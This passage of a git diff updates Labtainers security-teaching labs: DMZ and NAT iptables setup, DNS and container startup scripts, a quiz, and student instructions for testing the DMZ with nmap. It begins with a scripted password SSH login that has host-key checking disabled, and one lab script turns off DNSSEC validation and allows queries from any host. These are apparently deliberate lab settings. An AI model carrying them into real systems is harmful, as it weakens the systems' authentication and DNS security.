"StrictHostKeyChecking=no" -tt %s@172.20.0.3 exit' % (passwd, uid) #print "command is (%s)" % command p = Popen(command, shell=True, stdout=PIPE, stdin=PIPE, stderr=PIPE, bufsize=1, close_fds=ON_POSIX) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/keywords.txt new file mode 100644 index 000000000..dc21f4b57 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/config/keywords.txt @@ -0,0 +1,3 @@ +ssh +denyhosts +authentication diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.docx index 5896187a6..b836bbdd3 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.docx and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.pdf index 592ea4cf4..4a828cf51 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/docs/denyhosts.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dhcp-test/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/parameter.config index 4d9004722..f3b7afc48 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/parameter.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/parameter.config @@ -3,6 +3,6 @@ # Please see the Labtainer Designer Lab Designer User Guide # WEB_IP : RAND_REPLACE_UNIQUE : outer_gw:/etc/rc.local;dns:/var/cache/bind/example.com.db;start.config : WEB_IP : 11 : 128 -INNER_DMZ : RAND_REPLACE_UNIQUE : outer_gw:/etc/rc.local;inner_gw:/etc/rc.local;start.config : INNER_DMZ : 11 : 128 -INNER_LAN1 : RAND_REPLACE_UNIQUE : inner_gw:/etc/rc.local;ws1:.local/bin/fixlocal.sh;start.config : INNER_LAN1 : 11 : 128 -INNER_LAN2 : RAND_REPLACE_UNIQUE : inner_gw:/etc/rc.local;ws2:.local/bin/fixlocal.sh;start.config : INNER_LAN2 : 11 : 128 +INNER_DMZ : RAND_REPLACE_UNIQUE : outer_gw:/etc/rc.local;inner_gw:/etc/rc.local;dns:/etc/rc.local;web_server:/etc/rc.d/rc.local;start.config : INNER_DMZ : 11 : 128 +INNER_LAN1 : RAND_REPLACE_UNIQUE : inner_gw:/etc/rc.local;ws1:/etc/rc.local;start.config : INNER_LAN1 : 11 : 128 +INNER_LAN2 : RAND_REPLACE_UNIQUE : inner_gw:/etc/rc.local;ws2:/etc/rc.local;ws3:/etc/rc.local;start.config : INNER_LAN2 : 11 : 128 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/start.config index e64bf2a40..3caf8f8a6 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/start.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/config/start.config @@ -58,7 +58,7 @@ CONTAINER isp USER ubuntu WAN 198.18.0.1 ISP_GW 10.10.0.1 - #TERMINALS -1 + TERMINALS 0 CONTAINER remote_gw USER admin REMOTE_LAN 203.0.113.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_bin/fixlocal.sh index c7a51e0e8..55fc281f8 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_bin/fixlocal.sh @@ -7,10 +7,14 @@ # not not permit nopassword, then use: # echo $1 | sudo -S the-command # -sudo sed -i '/directory/a dump-file "/var/cache/bind/dump.db";\nforwarders {\n198.18.1.2;\n};\nquery-source port 33333;' /etc/bind/named.conf.options +# +sudo apt-get purge -y dnsmasq +sudo sed -i '/directory/a dump-file "/var/cache/bind/dump.db";\nforwarders {\n198.18.1.2;\n};\nquery-source port 33333;\nallow-query {any;};' /etc/bind/named.conf.options +sudo sed -i 's/dnssec-validation auto;/dnssec-enable no;\ndnssec-validation no;/' /etc/bind/named.conf.options # define example.com echo "include \"/etc/bind/example.conf\";" | sudo tee -a /etc/bind/named.conf.local sudo chown bind:bind /var/cache/bind/* + echo "check alive" >> /tmp/fixlocal.output ~/.local/bin/alive.sh 198.18.1.2 echo "back and alive" >> /tmp/fixlocal.output diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/rc.local index 13435b33c..613390113 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/rc.local @@ -3,3 +3,4 @@ route del -host 172.17.0.1 echo "198.18.1.2" > /etc/resolv.conf +echo "198.18.1.2" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/sbin/faux_init deleted file mode 100755 index cbaed3c2d..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/sbin/faux_init +++ /dev/null @@ -1,20 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start -/etc/init.d/mynotify.sh start -/etc/init.d/bind9 start - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.dns.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.dns.student index 0b5590bc5..d0a1bddfe 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.dns.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.dns.student @@ -44,6 +44,9 @@ RUN adduser $user_name sudo # replace above with below for centos/fedora #RUN usermod $user_name -a -G wheel +RUN systemctl disable dnsmasq +RUN apt-get purge -y dnsmasq + # # **** Perform all root operations, e.g., **** diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/Makefile index e560f72e8..49022fc83 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/Makefile @@ -1,5 +1,6 @@ dmz-example.pdf: dmz-example.tex header.tex pdflatex -jobname=dmz-example dmz-example + pdflatex -jobname=dmz-example dmz-example clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.jpg index 79b05ecc6..216e20ae1 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.jpg and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.odg index 573045b2f..51b2962a5 100755 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.odg and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.pdf index a203a2c58..1537dd7bf 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.tex index 978b3a73c..d2670e80f 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.tex @@ -15,7 +15,7 @@ Labtainer exercises. \section{Lab Environment} This lab runs in the Labtainer framework, -available at http://my.nps.edu/web/c3o/labtainers. +available at http://nps.edu/web/c3o/labtainers. That site includes links to a pre-built virtual machine that has Labtainers installed, however Labtainers can be run on any Linux host that supports Docker containers. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_bin/fixlocal.sh index 1e0aa882d..f3de70edc 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_bin/fixlocal.sh @@ -7,8 +7,5 @@ # not not permit nopassword, then use: # echo $1 | sudo -S the-command # -lan1=$(ifconfig | grep -B1 "inet addr:198.18.0.1" | awk '$1!="inet" && $1!="--" {print $1}') -wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') -sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE -sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT - +sudo systemctl enable dnsmasq +sudo systemctl start dnsmasq diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/etc/rc.local index 035c0fd03..1e1703902 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/etc/rc.local @@ -1,3 +1,7 @@ #!/bin/bash +lan1=$(ifconfig | grep -B1 "inet addr:198.18.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +/sbin/iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +/sbin/iptables --append FORWARD --in-interface $lan1 -j ACCEPT route add -net 198.18.1.0 netmask 255.255.255.0 gw 198.18.0.2 route add -net 203.0.113.0 netmask 255.255.255.0 gw 198.18.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/sbin/faux_init deleted file mode 100755 index 36cc884b4..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/sbin/faux_init +++ /dev/null @@ -1,17 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start -/etc/init.d/dnsmasq restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/rc.local index 60860e3fa..53e4baa9e 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/rc.local @@ -46,7 +46,7 @@ iptables -A FORWARD -j DROP # restart dns forwarder -/etc/init.d/dnsmasq restart echo "nameserver 198.18.0.1" > /etc/resolv.conf +sudo systemctl restart dnsmasq route del -host 172.17.0.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.d/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.d/rc.local index a21e6578c..d881f120d 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.d/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.d/rc.local @@ -1,3 +1,7 @@ #!/bin/bash +echo "nameserver 198.18.1.3" > /etc/resolv.conf /usr/bin/set_default_gw.sh 198.18.1.2 +route del -host 172.17.0.1 +route add -net 198.68.1.0 netmask 255.255.255.0 gw 198.18.1.INNER_DMZ dev eth0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.local index e1a419592..29302f7cd 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.local @@ -1,4 +1,2 @@ -#!/bin/bash -echo "nameserver 198.18.1.3" > /etc/resolv.conf -route del -host 172.17.0.1 +# DO NOT USE, see /etc/rc.d/rc.local diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/fixlocal.sh index 09b99f94f..6b022e130 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/fixlocal.sh @@ -7,6 +7,3 @@ # not not permit nopassword, then use: # echo $1 | sudo -S the-command # -# Use gateway as the name server -# -sudo /usr/bin/set_default_gw.sh 192.168.1.INNER_LAN1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/etc/rc.local index e1a419592..48565b7b4 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/etc/rc.local @@ -1,4 +1,7 @@ #!/bin/bash echo "nameserver 198.18.1.3" > /etc/resolv.conf -route del -host 172.17.0.1 +# Use gateway as the name server +# +/usr/bin/set_default_gw.sh 192.168.1.INNER_LAN1 +route del -host 172.17.0.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_bin/fixlocal.sh index aa5ffa711..a6e30776f 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_bin/fixlocal.sh @@ -6,7 +6,3 @@ # Thus, if this script is to use sudo and the sudoers for the lab # not not permit nopassword, then use: # echo $1 | sudo -S the-command -# -# Use gateway as the name server -# -sudo /usr/bin/set_default_gw.sh 192.168.2.INNER_LAN2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/etc/rc.local index e1a419592..1efae3510 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/etc/rc.local @@ -1,4 +1,8 @@ #!/bin/bash echo "nameserver 198.18.1.3" > /etc/resolv.conf -route del -host 172.17.0.1 +# +# Use gateway as the name server +# +/usr/bin/set_default_gw.sh 192.168.2.INNER_LAN2 +route del -host 172.17.0.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/etc/rc.local index c4bb9fd94..9612899a7 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/etc/rc.local @@ -1,7 +1,7 @@ #!/bin/bash echo "" > /etc/resolv.conf echo "nameserver 198.18.1.3" > /etc/resolv.conf -route del -host 172.17.0.1 route del default - +/usr/bin/set_default_gw.sh 192.168.2.INNER_LAN2 +route del -host 172.17.0.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/dmz-lab.quiz b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/dmz-lab.quiz new file mode 100644 index 000000000..3f92e754f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/dmz-lab.quiz @@ -0,0 +1,13 @@ +# +# dmz-lab quiz +# +1, TrueFalse, "The DMZ in this lab is intended to prevent users from browsing unsafe web sites.", F, "", +"This DMZ is intended to limit access from external sites to a selected set of services provided by the web server." +2, TrueFalse, "The MASQUARADE target in iptables is used to direct hostile traffic to a honeypot.", F, +"The MASQUARADE target is used for network address translation (NAT).", +"The MASQUARADE target is used for network address translation (NAT)." +3, TrueFalse, "In this lab, example.com's most protected information assets are deployed within the DMZ.", F, +"The DMZ only contains information accessible external to example.com. Sensitive information would be stored \ +behind the inner gateway in this example.", +"The DMZ only contains information accessible external to example.com. Sensitive information would be stored \ +behind the inner gateway in this example." diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/keywords.txt new file mode 100644 index 000000000..1607400a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/keywords.txt @@ -0,0 +1,3 @@ +iptables +dmz +nat diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/start.config index fcedca177..c5db8f38d 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/start.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/start.config @@ -18,7 +18,7 @@ NETWORK LAN2 MASK 198.18.1.192/26 GATEWAY 198.18.1.193 NETWORK DMZ - MASK 198.18.1.1/25 + MASK 198.18.1.0/25 GATEWAY 198.18.1.126 NETWORK WAN MASK 198.18.0.0/24 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/sbin/faux_init deleted file mode 100755 index 52d7205dc..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/sbin/faux_init +++ /dev/null @@ -1,18 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start -/etc/init.d/mynotify.sh start -/etc/init.d/bind9 start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/Makefile index da3f51c8a..90775d4e3 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/Makefile @@ -1,5 +1,6 @@ dmz-example.pdf: dmz-lab.tex header.tex dmz-lab.jpg pdflatex -jobname=dmz-lab dmz-lab + pdflatex -jobname=dmz-lab dmz-lab clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.jpg index e2a3b1e02..26b0ccc39 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.jpg and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.odg index 2541e3be1..85809a4ed 100755 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.odg and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.pdf index 1a6136c86..259f953f9 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.tex index 1cb5236c2..0275d7bbc 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.tex @@ -13,7 +13,7 @@ This lab requires that you configure a DMZ using iptables on two gateway compone \section{Lab Environment} This lab runs in the Labtainer framework, -available at http://my.nps.edu/web/c3o/labtainers. +available at http://nps.edu/web/c3o/labtainers. That site includes links to a pre-built virtual machine that has Labtainers installed, however Labtainers can be run on any Linux host that supports Docker containers. @@ -35,7 +35,8 @@ The outer gateway and the remote gateway each reach the Internet via an ISP with address 198.18.0.1. The local site has a network address of 198.18.1.0/24. The remote site has a network address of 203.0.113.0/24. -Initially, the DMZ is in name only. +Initially, the DMZ is in name only. For example, there is nothing stopping the +remote workstation from pinging the ws1. \begin{figure}[H] \begin{center} @@ -46,17 +47,36 @@ Initially, the DMZ is in name only. \end{figure} \section{Lab Tasks} +\subsection{Explore} +Use the different terminals to test your ability to reach different computers. +The nmap utility is installed on the workstations. Use {\tt ifconfig} or {\tt ip addr} to +learn the IP addresses of components not fully labeled in figure \ref{fig:topology}. +\subsection{Brief quiz} +Take a brief quiz intended to help you determine if you are prepared to perform this lab. At +the terminal from which you started the lab, type: +\begin{verbatim} + quiz +\end{verbatim} +\noindent If you are not sure of your answers, consider reviewing information about DMZs and +the use of iptables. + +\subsection{Configure the DMZ} Configure the inner\_gateway and outer\_gateway such that: \begin{itemize} \item Remote users can only access the web server, e.g., via wget www.example.com, using HTTP, HTTPS and SSH. +\item Remove users cannot access any of the other local computers. \item Local users can reach the internet via the ISP, e.g., wget www.google.com \item Local users can reach the local web server via HTTP, HTTPS, SSH and MYSQL \end{itemize} Use the /etc/rc.local scripts on the inner and outer gateways to issue iptables directives. Respect the comments in the rc.local scripts regarding sections that should not be modified. -Demonstrate your DMZ by issuing the following commands, without any additional changes to iptables. +Consider using NAT to isolate the local workstations from the Internet (there is no reason +for workstations to be addressable from outside of example.com. + +\subsection{Demonstrate your DMZ} +Demonstrate your DMZ by issuing the following commands, without intervening changes to iptables. \begin{enumerate} \item On the remote\_ws (hank): {\tt sudo nmap www.example.com} \item On the ws1 (tom): {\tt sudo nmap www.example.com} @@ -65,10 +85,14 @@ Demonstrate your DMZ by issuing the following commands, without any additional c \noindent If you make any changes to iptables in the course of your testing, restart your testing from item (1) above. +\subsection{Check your work} +Use the {\tt checkwork} command from the terminal at which you started the lab (while the lab is still +running). This will provide feedback informing you of any problems found with the current state of your DMZ. + \section{Submission} After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: \begin{verbatim} - stoplab dmz-lab + stoplab \end{verbatim} When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to your instructor, e.g., via the Sakai site. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_bin/notify b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_bin/notify new file mode 100644 index 000000000..5b274b126 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_bin/notify @@ -0,0 +1 @@ +/sbin/iptables OPEN iptables diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_bin/notify_cb.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_bin/notify_cb.sh new file mode 100755 index 000000000..dd1e83d01 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_bin/notify_cb.sh @@ -0,0 +1,27 @@ +#!/bin/bash +# +# Callback from an inotify event +# +the_path=$1 +the_mode=$2 +the_user=$3 +the_cmd=$4 +if [[ "$the_path" == /sbin/iptables ]];then + # + # inotify says iptables ran. Determine if it may have had an effect -- e.g., + # do not break up timestamp ranges if student simply runs a sudo iptables -L + # + # + # Only care if run as root. Make a record if consequential iptables command, or via rc.local + # + if [[ $the_user == root ]]; then + if [[ "$the_cmd" == iptables* ]]; then + if [[ "$the_cmd" == *-A* ]]; then + echo "is root and -A $the_cmd" + fi + else + # if run from script, e.g., rc.local, assume effects + echo $the_cmd + fi + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/etc/rc.local index be43bd8a9..615263f92 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/etc/rc.local +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/etc/rc.local @@ -2,7 +2,7 @@ # # Configure the inner gateway of a DMZ # where 198.18.1.INNER_LAN1 and 198.18.1.INNER_LAN2 are internal LANs -# and 198.18.1.10 is connected to the external gateway +# and 198.18.1.10 is connected to the outer gateway # with address 198.18.1.2 # # diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/sbin/faux_init deleted file mode 100755 index 014cca15e..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/sbin/faux_init +++ /dev/null @@ -1,18 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - -/etc/init.d/dnsmasq start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/goals.config 